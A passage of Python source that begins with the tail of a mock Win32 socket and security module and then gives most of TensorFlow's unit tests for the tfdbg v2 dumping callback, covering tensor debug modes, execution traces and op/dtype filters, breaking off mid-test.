NOTE: networkEvents mask is basically ignored, any # event taken to be interesting to our select loop. if self.socket is not None and self.networkEvents > 0: x = select.select((self.socket,), (), (), 0.25) LogDebugMsg('select returns %s' % str(x)) if len(x[0]) > 0 and x[0][0] == self.socket: return True LogDebugMsg('returning False') return False class MockWin32FileModule(object): """Mock Win32 Win32File module.""" FD_READ = 1 FD_WRITE = 2 FD_OOB = 4 FD_ACCEPT = 8 FD_CONNECT = 16 FD_CLOSE = 32 FD_QOS = 64 FD_GROUP_QOS = 128 FD_ROUTING_INTERFACE_CHANGE = 256 FD_ADDRESS_LIST_CHANGE = 512 # pylint: disable-msg=C6409 def WSAEventSelect(self, socket, hEvent, networkEvents): LogDebugMsg('WSAEventSelect') hEvent.socket = socket hEvent.networkEvents = networkEvents class MockWin32ServiceModule(object): SERVICE_STOP_PENDING = 3 class MockWin32SecurityModule(object): """Mock Win32security module.""" LOGON32_LOGON_NETWORK = 3 LOGON32_PROVIDER_DEFAULT = 0 # pylint: disable-msg=C6409 class error(Exception): """Error.""" def LogonUser(self, username, domain, password, logon_type, logon_provider): raise NotImplementedError
dumping_callback_test.py
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Unit tests for tfdbg v2 dumping callback.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import os import shutil import socket import tempfile import threading from absl.testing import parameterized import numpy as np from tensorflow.core.protobuf import debug_event_pb2 from tensorflow.python.debug.lib import debug_events_reader from tensorflow.python.debug.lib import dumping_callback from tensorflow.python.debug.lib import dumping_callback_test_lib from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import test_util from tensorflow.python.keras import models from tensorflow.python.keras.applications import mobilenet_v2 from tensorflow.python.keras.layers import core from tensorflow.python.keras.layers import recurrent_v2 from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import variables from tensorflow.python.platform import googletest def _create_simple_recurrent_keras_model(input_shape): """Create a simple tf.keras model containing a recurrent layer for testing.""" model = models.Sequential() model.add(recurrent_v2.LSTM( 10, input_shape=input_shape, kernel_initializer="zeros", recurrent_initializer="zeros")) model.add(core.Dense(1, kernel_initializer="zeros")) model.compile(loss="mse", optimizer="sgd") return model _host_name = socket.gethostname() _current_file_full_path = os.path.abspath(__file__) class TracingCallbackTest( dumping_callback_test_lib.DumpingCallbackTestBase, parameterized.TestCase): def setUp(self): super(TracingCallbackTest, self).setUp() self.dump_root = tempfile.mkdtemp() def tearDown(self): if os.path.isdir(self.dump_root): shutil.rmtree(self.dump_root, ignore_errors=True) dumping_callback.disable_dump_debug_info() super(TracingCallbackTest, self).tearDown() def _verifyStackFrames(self, stack_frames): """Verify the correctness of the stack frames. Currently, it simply asserts that the current file is found in the stack frames. TODO(cais): Perhaps implement a stricter check later. Args: stack_frames: The stack frames to verify. """ self.assertTrue([ frame for frame in stack_frames if frame[0] == _current_file_full_path]) def testInvalidTensorDebugModeCausesError(self): with self.assertRaisesRegexp( ValueError, r"Invalid value in tensor_debug_mode \(\'NONSENSICAL\'\).*" r"Valid options.*NO_TENSOR.*"): dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="NONSENSICAL") def testDisablingTracingCallbackWithoutEnablingFirstIsTolerated(self): dumping_callback.disable_dump_debug_info() @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("CurtHealth", "CURT_HEALTH"), ("ConciseHealth", "CONCISE_HEALTH"), ("Shape", "SHAPE"), ("FullTensor", "FULL_TENSOR"), ) def testPureEagerOpExecution(self, tensor_debug_mode): """Test dumping data from eager op execution: float32.""" writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) x = constant_op.constant(10.0) zero = constant_op.constant(0.0) one = constant_op.constant(1.0) two = constant_op.constant(2.0) three = constant_op.constant(3.0) # Use Collatz conjecture as a test case. while x > one: if math_ops.equal(x % two, zero): x = x / two else: x = x * three + one writer.FlushNonExecutionFiles() self._readAndCheckMetadataFile() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() # Before FlushExecutionFiles() is called, the .execution file should be # empty. self.assertFalse(reader.executions()) # After the flushing, the .execution file should hold the appropriate # contents. writer.FlushExecutionFiles() reader.update() executions = reader.executions() prev_wall_time = 1 executed_op_types = [] tensor_values = collections.defaultdict(lambda: []) for execution in executions: self.assertGreaterEqual(execution.wall_time, prev_wall_time) prev_wall_time = execution.wall_time executed_op_types.append(execution.op_type) # No graph IDs should have been logged for eager op executions. self.assertFalse(execution.graph_id) self.assertTrue(execution.input_tensor_ids) self.assertTrue(execution.output_tensor_ids) self.assertEqual( debug_event_pb2.TensorDebugMode.keys()[execution.tensor_debug_mode], tensor_debug_mode) if tensor_debug_mode == "NO_TENSOR": # Due to the NO_TENSOR tensor debug mode, tensor_protos ought to # be empty. self.assertFalse(execution.debug_tensor_values) elif tensor_debug_mode == "CURT_HEALTH": self.assertLen(execution.debug_tensor_values, 1) if execution.op_type in ("AddV2", "Mul", "RealDiv"): # 1st element: -1 is the unset tensor_id for eager op execution. # 2nd element: 0 means there is no inf or nan. self.assertAllClose(execution.debug_tensor_values, [[-1.0, 0.0]]) elif tensor_debug_mode == "CONCISE_HEALTH": if execution.op_type in ("AddV2", "Mul", "RealDiv"): # 1st element: -1 is the unset tensor_id for eager op execution. # 2nd element: each scalar tensor has 1 element. # Remaining elements: no -inf, inf or nan in these self.assertAllClose( execution.debug_tensor_values, [[-1, 1, 0, 0, 0]]) elif tensor_debug_mode == "SHAPE": if execution.op_type in ("AddV2", "Mul", "RealDiv"): # 1st element: -1 is the unset tensor_id for eager op execution. # 2nd element: dtype enum value (float32). # 3rd element: rank (scalar). # 4th element: element count (4). # Remaining elements: shape at fixed length (6). self.assertAllClose(execution.debug_tensor_values, [[-1, 1, 0, 1, 0, 0, 0, 0, 0, 0]]) elif tensor_debug_mode == "FULL_TENSOR": tensor_values[execution.op_type].append( reader.execution_to_tensor_values(execution)[0]) host_name, stack_frames = reader.read_execution_stack_trace(execution) self.assertEqual(host_name, _host_name) self._verifyStackFrames(stack_frames) if tensor_debug_mode == "FULL_TENSOR": self.assertAllClose(tensor_values["Greater"], [1, 1, 1, 1, 1, 1, 0]) self.assertAllClose(tensor_values["RealDiv"], [5, 8, 4, 2, 1]) self.assertAllClose(tensor_values["Mul"], [15]) self.assertAllClose(tensor_values["AddV2"], [16]) self.assertEqual( executed_op_types, [ "Greater", "FloorMod", "Equal", "RealDiv", # 10 --> 5 "Greater", "FloorMod", "Equal", "Mul", "AddV2", # 5 --> 16 "Greater", "FloorMod", "Equal", "RealDiv", # 16 --> 8 "Greater", "FloorMod", "Equal", "RealDiv", # 8 --> 4 "Greater", "FloorMod", "Equal", "RealDiv", # 4 --> 2 "Greater", "FloorMod", "Equal", "RealDiv", # 2 --> 1 "Greater" ]) # Due to the pure eager op execution, the .graph file and the # .graph_execution_traces file ought to be empty. self.assertFalse(reader.outermost_graphs()) self.assertEqual(reader.num_graph_execution_traces(), 0) @parameterized.named_parameters( ("CurtHealth", "CURT_HEALTH"), ("ConciseHealth", "CONCISE_HEALTH"), ("Shape", "SHAPE"), ) @test_util.run_in_graph_and_eager_modes def testModesSummarizingBadNumericalValue(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) @def_function.function def func(x, y): return (x + y) / (x - y) x = np.array([-3, -1, 0, 0, 1, 1, 1, 2], dtype=np.float16) y = np.array([2, -1, 0, 0, 1, 1, 1, 3], dtype=np.float16) # (x + y) / (x - y) = [0.2, -inf, nan, nan, inf, inf, inf, -5]. self.evaluate(func(x, y)) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() graph_exec_traces = reader.graph_execution_traces() executed_op_types = [trace.op_type for trace in graph_exec_traces] self.assertCountEqual(executed_op_types, ["AddV2", "Sub", "RealDiv"]) if tensor_debug_mode == "CURT_HEALTH": for trace in graph_exec_traces: # 1st element: tensor_id, should be >= 0. # 2nd element: indicates if there is any inf or nan. tensor_id = reader.graph_execution_trace_to_tensor_id(trace) self.assertGreaterEqual(tensor_id, 0) if trace.op_type == "RealDiv": self.assertAllClose(trace.debug_tensor_value, [tensor_id, 1]) else: self.assertAllClose(trace.debug_tensor_value, [tensor_id, 0]) elif tensor_debug_mode == "CONCISE_HEALTH": for trace in graph_exec_traces: # 1st element: tensor_id, should be >= 0. # 2nd element: element count (8). # Remaining 3 elements: The counts of -inf, inf and nan. tensor_id = reader.graph_execution_trace_to_tensor_id(trace) self.assertGreaterEqual(tensor_id, 0) if trace.op_type == "RealDiv": self.assertAllClose(trace.debug_tensor_value, [tensor_id, 8, 1, 3, 2]) else: self.assertAllClose(trace.debug_tensor_value, [tensor_id, 8, 0, 0, 0]) else: # SHAPE. for trace in graph_exec_traces: # 1st element: tensor_id, should be >= 0. # 2nd element: dtype enum value (float16 = 19). # 3rd element: rank (1) # 4th element: element count (8). # Remaining elements: shape at fixed length (6). tensor_id = reader.graph_execution_trace_to_tensor_id(trace) self.assertGreaterEqual(tensor_id, 0) self.assertAllClose(trace.debug_tensor_value, [tensor_id, 19, 1, 8, 8, 0, 0, 0, 0, 0]) @parameterized.named_parameters( ("Shape", "SHAPE"), ) @test_util.run_in_graph_and_eager_modes def testBooleanTensors(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) @def_function.function def func(x, y): return math_ops.logical_not(math_ops.logical_and(x, y)) x = np.array([[False, False], [True, True]], dtype=np.bool) y = np.array([[False, True], [False, True]], dtype=np.bool) self.assertAllEqual( self.evaluate(func(x, y)), [[True, True], [True, False]]) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() graph_exec_traces = reader.graph_execution_traces() executed_op_types = [trace.op_type for trace in graph_exec_traces] self.assertEqual(executed_op_types, ["LogicalAnd", "LogicalNot"]) for trace in graph_exec_traces: tensor_id = reader.graph_execution_trace_to_tensor_id(trace) self.assertGreaterEqual(tensor_id, 0) # 1st element: tensor_id, should be >= 0. # 2nd element: dtype enum value (bool). # 3rd element: rank (2). # 4th element: element count (4). # Remaining elements: shape at fixed length. self.assertAllClose( trace.debug_tensor_value, [tensor_id, 10, 2, 4, 2, 2, 0, 0, 0, 0]) @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("CurtHealth", "CURT_HEALTH"), ("ConciseHealth", "CONCISE_HEALTH"), ("Shape", "SHAPE"), ("FullTensor", "FULL_TENSOR"), ) @test_util.run_in_graph_and_eager_modes def testNestedFunctionExecutionWithoutControlFlow(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) @def_function.function def log_sum(x, y): return math_ops.log(x + y) @def_function.function def sin1p_log_sum(x, y): return math_ops.sin(1.0 + log_sum(x, y)) x = constant_op.constant(2.0) y = constant_op.constant(3.0) self.assertAllClose(sin1p_log_sum(x, y), np.sin(1.0 + np.log(5.0))) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() outermost_graphs = reader.outermost_graphs() self.assertLen(outermost_graphs, 1) if context.executing_eagerly(): # NOTE(b/142486213): Execution of the TF function happens with # Session.run() in v1 graph mode, so doesn't get logged to the # .execution file. executions = reader.executions() self.assertLen(executions, 1) self.assertIn("sin1p_log_sum", executions[0].op_type) # Get the executed graph and verify its identity and inner graph. graph = reader.graph_by_id(executions[0].graph_id) self.assertEqual(graph.name, "sin1p_log_sum") self.assertLen(graph.inner_graph_ids, 1) inner_graph = reader.graph_by_id(graph.inner_graph_ids[0]) self.assertEqual(inner_graph.name, "log_sum") # Verify the recorded graph-building history. add_op_digests = reader.graph_op_digests(op_type="AddV2") self.assertLen(add_op_digests, 2) self.assertEqual( reader.graph_by_id(add_op_digests[0].graph_id).name, "log_sum") self.assertEqual( reader.graph_by_id(add_op_digests[1].graph_id).name, "sin1p_log_sum") log_op_digests = reader.graph_op_digests(op_type="Log") self.assertLen(log_op_digests, 1) self.assertEqual( reader.graph_by_id(log_op_digests[0].graph_id).name, "log_sum") sin_op_digests = reader.graph_op_digests(op_type="Sin") self.assertLen(sin_op_digests, 1) self.assertEqual( reader.graph_by_id(sin_op_digests[0].graph_id).name, "sin1p_log_sum") # Verify the output tensor IDs and the stack traces. for op_digest in add_op_digests + log_op_digests + sin_op_digests: # These are all single-output ops. self.assertLen(op_digest.output_tensor_ids, 1) self.assertGreaterEqual(op_digest.output_tensor_ids[0], 0) _, stack_frames = reader.read_graph_op_creation_stack_trace(op_digest) self._verifyStackFrames(stack_frames) graph_exec_traces = reader.graph_execution_traces() executed_op_types = [digest.op_type for digest in graph_exec_traces] self.assertEqual(executed_op_types, ["AddV2", "Log", "AddV2", "Sin"]) # Verify the graph ID stack of each op. # 1st AddV2 op. self.assertEqual( reader.graph_by_id(graph_exec_traces[0].graph_ids[-1]).name, "log_sum") self.assertEqual( reader.graph_by_id(graph_exec_traces[0].graph_ids[-2]).name, "sin1p_log_sum") # Log op. self.assertEqual( reader.graph_by_id(graph_exec_traces[1].graph_ids[-1]).name, "log_sum") self.assertEqual( reader.graph_by_id(graph_exec_traces[1].graph_ids[-2]).name, "sin1p_log_sum") # 2nd AddV2 op. self.assertEqual( reader.graph_by_id(graph_exec_traces[2].graph_ids[-1]).name, "sin1p_log_sum") # Sin op. self.assertEqual( reader.graph_by_id(graph_exec_traces[3].graph_ids[-1]).name, "sin1p_log_sum") if tensor_debug_mode == "NO_TENSOR": # Under the default NO_TENSOR tensor-debug mode, the tensor_proto ought # to be an empty float32 tensor. for trace in graph_exec_traces: self.assertEqual(trace.debug_tensor_value, []) elif tensor_debug_mode == "CURT_HEALTH": # Test the association between graph exec and prior graph building. # In each case, the 1st element of debug_tensor_value is the ID of the # symbolic tenosr and the 2nd element is a zero indicating there is no # inf or nan. self.assertAllClose( graph_exec_traces[0].debug_tensor_value, [add_op_digests[0].output_tensor_ids[0], 0.0]) # 1st AddV2 op. self.assertAllClose( graph_exec_traces[1].debug_tensor_value, [log_op_digests[0].output_tensor_ids[0], 0.0]) # Log op. self.assertAllClose( graph_exec_traces[2].debug_tensor_value, [add_op_digests[1].output_tensor_ids[0], 0.0]) # 2nd AddV2 op. self.assertAllClose( graph_exec_traces[3].debug_tensor_value, [sin_op_digests[0].output_tensor_ids[0], 0.0]) # Sin op. elif tensor_debug_mode == "CONCISE_HEALTH": # 1st element: tensor_id, should be >= 0. # 2nd element: element count. Remaining elements: all zero because there # is no -inf, inf or nan. # 1st AddV2 op. self.assertAllClose( graph_exec_traces[0].debug_tensor_value, [add_op_digests[0].output_tensor_ids[0], 1.0, 0.0, 0.0, 0.0]) # Log op. self.assertAllClose( graph_exec_traces[1].debug_tensor_value, [log_op_digests[0].output_tensor_ids[0], 1.0, 0.0, 0.0, 0.0]) # 2nd AddV2 op. self.assertAllClose( graph_exec_traces[2].debug_tensor_value, [add_op_digests[1].output_tensor_ids[0], 1.0, 0.0, 0.0, 0.0]) # Sin op. self.assertAllClose( graph_exec_traces[3].debug_tensor_value, [sin_op_digests[0].output_tensor_ids[0], 1.0, 0.0, 0.0, 0.0]) elif tensor_debug_mode == "SHAPE": # 1st element: tensor_id. # 2nd element: dtype (float32). # 3rd element: rank (scalar). # 4th element: element count (1). # Remaining elements: shape padded to fixed length (6). # 1st AddV2 op. self.assertAllClose( graph_exec_traces[0].debug_tensor_value, [add_op_digests[0].output_tensor_ids[0], 1, 0, 1, 0, 0, 0, 0, 0, 0]) # Log op. self.assertAllClose( graph_exec_traces[1].debug_tensor_value, [log_op_digests[0].output_tensor_ids[0], 1, 0, 1, 0, 0, 0, 0, 0, 0]) # 2nd AddV2 op. self.assertAllClose( graph_exec_traces[2].debug_tensor_value, [add_op_digests[1].output_tensor_ids[0], 1, 0, 1, 0, 0, 0, 0, 0, 0]) # Sin op. self.assertAllClose( graph_exec_traces[3].debug_tensor_value, [sin_op_digests[0].output_tensor_ids[0], 1, 0, 1, 0, 0, 0, 0, 0, 0]) else: # FULL_TENSOR. full_tensor_values = [ reader.graph_execution_trace_to_tensor_value(trace) for trace in graph_exec_traces] self.assertAllClose(full_tensor_values[0], 5.0) # 1st AddV2 op. self.assertAllClose(full_tensor_values[1], np.log(5.0)) # Log op. self.assertAllClose( full_tensor_values[2], np.log(5.0) + 1.0) # 2nd AddV2 op. self.assertAllClose( full_tensor_values[3], np.sin(np.log(5.0) + 1.0)) # Sin op. def testCapturingExecutedGraphIdsOfTwoCompilationsOfSameFunction(self): """Test correct executed IDs of two FuncGraphs from the same Py function.""" writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="NO_TENSOR") @def_function.function def ceil_times_two(x): return math_ops.ceil(x) * 2.0 x_float32 = np.array(3.5, dtype=np.float32) x_float64 = np.array(4.5, dtype=np.float64) # Four executions, with two different FuncGraphs, which should lead # to two unique executed graph IDs (see assertion below). self.assertAllClose(ceil_times_two(x_float32), 8.0) self.assertAllClose(ceil_times_two(x_float64), 10.0) self.assertAllClose(ceil_times_two(x_float32), 8.0) self.assertAllClose(ceil_times_two(x_float64), 10.0) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() executions = reader.executions() self.assertLen(executions, 4) for execution in executions: self.assertStartsWith(execution.op_type, "__inference_ceil_times_two_") executed_graph_ids = [execution.graph_id for execution in executions] self.assertEqual(executed_graph_ids[0], executed_graph_ids[2]) self.assertEqual(executed_graph_ids[1], executed_graph_ids[3]) self.assertNotEqual(executed_graph_ids[0], executed_graph_ids[1]) self.assertNotEqual(executed_graph_ids[2], executed_graph_ids[3]) for executed_graph_id in executed_graph_ids: self.assertEqual( reader.graph_by_id(executed_graph_id).name, "ceil_times_two") def testCapturingExecutedGraphIdsOfDuplicateFunctionNames(self): """Two FuncGraphs compiled from Python functions with identical names.""" writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="NO_TENSOR") class TestClass(object): @def_function.function def ceil_times_two(self, x): return math_ops.ceil(x) * 2.0 # The `ceil_times_two` method of the two objects will be compiled # into separate FuncGraphs. test_object_1 = TestClass() test_object_2 = TestClass() x = np.array(3.5, dtype=np.float32) # Four executions, with two different FuncGraphs, which should lead # to two unique executed graph IDs (see assertion below). self.assertAllClose(test_object_1.ceil_times_two(x), 8.0) self.assertAllClose(test_object_2.ceil_times_two(x), 8.0) self.assertAllClose(test_object_1.ceil_times_two(x), 8.0) self.assertAllClose(test_object_2.ceil_times_two(x), 8.0) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() executions = reader.executions() self.assertLen(executions, 4) for execution in executions: self.assertStartsWith(execution.op_type, "__inference_ceil_times_two_") executed_graph_ids = [execution.graph_id for execution in executions] self.assertEqual(executed_graph_ids[0], executed_graph_ids[2]) self.assertEqual(executed_graph_ids[1], executed_graph_ids[3]) self.assertNotEqual(executed_graph_ids[0], executed_graph_ids[1]) self.assertNotEqual(executed_graph_ids[2], executed_graph_ids[3]) for executed_graph_id in executed_graph_ids: self.assertEqual( reader.graph_by_id(executed_graph_id).name, "ceil_times_two") @parameterized.named_parameters( ("AddV2", "AddV2"), ("Log", "Log"), ("AddV2AndLog", "(AddV2|Log)"), ) @test_util.run_in_graph_and_eager_modes def testOpRegex(self, op_regex): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="FULL_TENSOR", op_regex=op_regex) @def_function.function def log_sum(x, y): return math_ops.log(x + y) @def_function.function def sin1p_log_sum(x, y): return math_ops.sin(1.0 + log_sum(x, y)) x = constant_op.constant(2.0) y = constant_op.constant(3.0) self.assertAllClose( self.evaluate(sin1p_log_sum(x, y)), np.sin(1.0 + np.log(5.0))) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() graph_op_digests = reader.graph_op_digests() op_types = [digest.op_type for digest in graph_op_digests] self.assertIn("AddV2", op_types) self.assertIn("Log", op_types) self.assertIn("Sin", op_types) graph_exec_digests = reader.graph_execution_traces(digest=True) executed_op_types = [digest.op_type for digest in graph_exec_digests] tensor_values = [reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests] if op_regex == "AddV2": self.assertEqual(executed_op_types, ["AddV2", "AddV2"]) self.assertLen(tensor_values, 2) self.assertAllClose(tensor_values[0], 5.0) # 1st AddV2 op. self.assertAllClose( tensor_values[1], np.log(5.0) + 1.0) # 2nd AddV2 op. elif op_regex == "Log": self.assertEqual(executed_op_types, ["Log"]) self.assertLen(tensor_values, 1) self.assertAllClose(tensor_values[0], np.log(5.0)) # Log op. else: # "(AddV2|Log)" self.assertEqual(executed_op_types, ["AddV2", "Log", "AddV2"]) self.assertLen(tensor_values, 3) self.assertAllClose(tensor_values[0], 5.0) # 1st AddV2 op. self.assertAllClose(tensor_values[1], np.log(5.0)) # Log op. self.assertAllClose( tensor_values[2], np.log(5.0) + 1.0) # 2nd AddV2 op. def testIncorrectTensorDTypeArgFormatLeadsToError(self): with self.assertRaisesRegexp( ValueError, r".*expected.*list.*tuple.*callable.*but received.*\{\}"): dumping_callback.enable_dump_debug_info(self.dump_root, tensor_dtypes=dict()) with self.assertRaisesRegexp( ValueError, r".*expected.*list.*tuple.*callable.*but received.*"): dumping_callback.enable_dump_debug_info(self.dump_root, tensor_dtypes="float32") with self.assertRaisesRegexp( ValueError, r".*expected.*list.*tuple.*callable.*but received.*"): dumping_callback.enable_dump_debug_info( self.dump_root, tensor_dtypes=dtypes.float32) with self.assertRaises(TypeError): dumping_callback.enable_dump_debug_info(self.dump_root, tensor_dtypes=[ lambda dtype: dtype.is_floating, lambda dtype: dtype.is_integer]) @parameterized.named_parameters( ("float", [dtypes.float32], None), ("float_only_sum", ["float32"], "Sum"), ("float_no_sum", (dtypes.float32,), "(?!Sum)"), ("int", [dtypes.int32], None), ("int_via_lambda", lambda dtype: dtype.is_integer, None), ("exclude_Sum", None, "(?!Sum)"), ("All", None, None), ) @test_util.run_in_graph_and_eager_modes def testTensorDTypesAndOpRegexFilters(self, tensor_dtypes, op_regex): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode="FULL_TENSOR", tensor_dtypes=tensor_dtypes, op_regex=op_regex) @def_function.function def unique_sum(xs): """Sum over the unique values, for testing.""" unique_xs, indices = array_ops.unique(xs) return math_ops.reduce_sum(unique_xs), indices xs = constant_op.constant([2., 6., 8., 1., 2.], dtype=dtypes.float32) y, indices = self.evaluate(unique_sum(xs)) self.assertAllClose(y, 17.) self.assertAllEqual(indices, [0, 1, 2, 3, 0]) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() graph_exec_digests = reader.graph_execution_traces(digest=True) executed_op_types = [digest.op_type for digest in graph_exec_digests] tensor_values = [reader.graph_execution_trace_to_tensor_value(digest) for digest in graph_exec_digests] if tensor_dtypes == [dtypes.float32] and not op_regex: self.assertEqual(executed_op_types, ["Unique", "Sum"]) self.assertLen(tensor_values, 2) self.assertAllClose(tensor_values[0], [2, 6, 8, 1]) # Unique values. self.assertAllClose(tensor_values[1], 17.) # Sum. elif tensor_dtypes == ["float32"] and op_regex == "Sum": self.assertEqual(executed_op_types, ["Sum"]) self.assertLen(tensor_values, 1) self.assertAllClose(tensor_values[0], 17.) # Sum. elif tensor_dtypes == (dtypes.float32,) and op_regex == "(?!Sum)": self.assertEqual(executed_op_types, ["Unique"]) self.assertLen(tensor_values, 1) self.assertAllClose(tensor_values[0], [2, 6, 8, 1]) # Unique values. elif tensor_dtypes == [dtypes.int32] and not op_regex: self.assertEqual(executed_op_types, ["Unique"]) self.assertLen(tensor_values, 1) self.assertAllEqual( tensor_values[0], [0, 1, 2, 3, 0]) # Unique indices. elif callable(tensor_dtypes) and not op_regex: self.assertEqual(executed_op_types, ["Unique"]) self.assertLen(tensor_values, 1) self.assertAllEqual( tensor_values[0], [0, 1, 2, 3, 0]) # Unique indices. elif not tensor_dtypes and op_regex == "(?!Sum)": self.assertEqual(executed_op_types, ["Unique", "Unique"]) self.assertLen(tensor_values, 2) self.assertAllClose(tensor_values[0], [2, 6, 8, 1]) # Unique values. self.assertAllEqual( tensor_values[1], [0, 1, 2, 3, 0]) # Unique indices. else: # "All". self.assertEqual(executed_op_types, ["Unique", "Unique", "Sum"]) self.assertLen(tensor_values, 3) self.assertAllClose(tensor_values[0], [2, 6, 8, 1]) # Unique values. self.assertAllEqual( tensor_values[1], [0, 1, 2, 3, 0]) # Unique indices. self.assertAllClose(tensor_values[2], 17) # Sum. @parameterized.named_parameters( ("NoTensor", "NO_TENSOR"), ("CurtHealth", "CURT_HEALTH"), ("FullTensor", "FULL_TENSOR"), ) @test_util.run_in_graph_and_eager_modes def testFunctionExecutionWithControlFlow(self, tensor_debug_mode): writer = dumping_callback.enable_dump_debug_info( self.dump_root, tensor_debug_mode=tensor_debug_mode) @def_function.function def iterative_doubling(x, times): i = constant_op.constant(0, dtype=dtypes.int32) while i < times: x = x * 2.0 i += 1 return x x = constant_op.constant(0.5, dtype=dtypes.float32) times = constant_op.constant(4, dtype=dtypes.int32) self.assertAllClose(self.evaluate(iterative_doubling(x, times)), 8.0) writer.FlushNonExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() graph_op_digests = reader.graph_op_digests() op_types = [digest.op_type for digest in graph_op_digests] self.assertIn("Less", op_types) self.assertIn("Mul", op_types) self.assertIn("AddV2", op_types) # Before FlushExecutionFiles() is called, the .execution and # .graph_execution_traces files should be both empty. self.assertEqual(reader.num_executions(), 0) self.assertEqual(reader.num_graph_execution_traces(), 0) # TODO(cais): Backport execution instrumentation to tf.Session. writer.FlushExecutionFiles() # After the flushing, the .execution file should hold the appropriate # contents. reader.update() if context.executing_eagerly(): # NOTE(b/142486213): Execution of the TF function happens with # Session.run() in v1 graph mode, hence it doesn't get logged to the executions = reader.executions() self.assertLen(executions, 1) executed_op_types = [execution.op_type for execution in executions] self.assertIn("iterative_doubling", executions[0].op_type) execution = executions[0] self.assertLen(execution.input_tensor_ids, 2) self.assertLen(execution.output_tensor_ids, 1) self.assertEqual( debug_event_pb2.TensorDebugMode.keys()[execution.tensor_debug_mode], tensor_debug_mode) if tensor_debug_mode == "FULL_TENSOR": tensor_values = reader.execution_to_tensor_values(execution) self.assertAllClose(tensor_values, [8.0]) graph_exec_traces = reader.graph_execution_traces() executed_op_types = [trace.op_type for trace in graph_exec_traces] if tensor_debug_mode != "CURT_HEALTH": # Less outputs a boolean tensor, which is not tracked under CURT_HEALTH. # The Less op should have been executed 5 times. self.assertEqual(executed_op_types.count("Less"), 5) # The last executed op should be Less. self.assertEqual(executed_op_types[-1], "Less") # AddV2 produces an int tensor, which is not tracked under CURT_HEALTH. # The AddV2 op should have been run, but we refrain from asserting on # how many times it's executed. self.assertIn("AddV2", executed_op_types) for trace in graph_exec_traces: self.assertEqual(trace.output_slot, 0) # The Mul op should have been executed 4 times. self.assertEqual(executed_op_types.count("Mul"), 4) tensor_values = [reader.graph_execution_trace_to_tensor_value(trace) for trace in graph_exec_traces] if tensor_debug_mode == "NO_TENSOR": # Under the default NO_TENSOR tensor-debug mode, the tensor_proto ought # to be an empty float32 tensor. for tensor_value in tensor_values: self.assertAllEqual(tensor_value, []) elif tensor_debug_mode == "CURT_HEALTH": for trace in graph_exec_traces: tensor_id = reader.graph_execution_trace_to_tensor_id(trace) # 1st element: tensor_id; 2nd element: 0 indicating no inf or nan. self.assertAllClose(trace.debug_tensor_value, [tensor_id, 0.0]) elif tensor_debug_mode == "FULL_TENSOR": less_values = [ reader.graph_execution_trace_to_tensor_value(trace) for trace in graph_exec_traces if trace.op_type == "Less"] self.assertAllEqual(less_values, [True, True, True, True, False]) mul_values = [ reader.graph_execution_trace_to_tensor_value(trace) for trace in graph_exec_traces if trace.op_type == "Mul"] self.assertAllClose(mul_values, [1.0, 2.0, 4.0, 8.0]) def testCallingEnableTracingTwiceWithTheSameDumpRootIsIdempotent(self): dumping_callback.enable_dump_debug_info(self.dump_root) writer = dumping_callback.enable_dump_debug_info(self.dump_root) x = constant_op.constant([10.0, 12.0, 10.0]) for _ in range(2): array_ops.unique(x) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with debug_events_reader.DebugDataReader(self.dump_root) as reader: reader.update() executions = reader.executions() self.assertLen(executions, 2) for execution in executions: self.assertGreater(execution.wall_time, 0) self.assertEqual(execution.op_type, "Unique") self.assertEqual(execution.num_outputs, 2) _, stack_frames = reader.read_execution_stack_trace(execution) self._verifyStackFrames(stack_frames) def testCallingEnableTracingTwiceWithDifferentDumpRootsOverwrites(self): dumping_callback.enable_dump_debug_info(self.dump_root) new_dump_root = self.dump_root + "_new_dump_root" writer = dumping_callback.enable_dump_debug_info(new_dump_root) x = constant_op.constant([10.0, 12.0, 10.0]) for _ in range(2): array_ops.unique(x) writer.FlushNonExecutionFiles() writer.FlushExecutionFiles() with 